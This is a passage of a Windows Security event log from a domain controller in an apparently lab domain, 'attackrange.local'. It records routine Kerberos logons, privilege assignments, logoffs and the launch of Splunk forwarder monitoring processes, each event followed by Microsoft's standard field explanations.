- Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 51395 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:10:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256273 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3DDFE1 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:11:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256276 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc48 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:11:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256278 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc7c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:11:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256277 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x464 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:11:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256280 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb38 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:11:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256279 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x444 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:11:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256281 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf04 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:11:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256282 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd84 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:11:26 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256284 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3E0A7E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {1315B027-D61C-A152-E46C-74A6DCC39304} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 51402 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:11:26 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256283 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E0A7E - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:11:37 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256285 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E0A7E - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:11:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256288 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E16BD - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:11:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256287 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3E16BD - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 51409 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:11:58 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256286 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E16BD - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:12:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256294 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E19D8 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:12:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256293 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3E19D8 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 51413 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:12:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256292 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E19D8 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:12:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256291 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E196C - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:12:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256290 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3E196C - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 51412 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:12:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256289 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E196C - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:12:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256295 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5f0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:12:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256303 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf90 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:12:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256302 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x3E2823 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 51417 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:12:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info 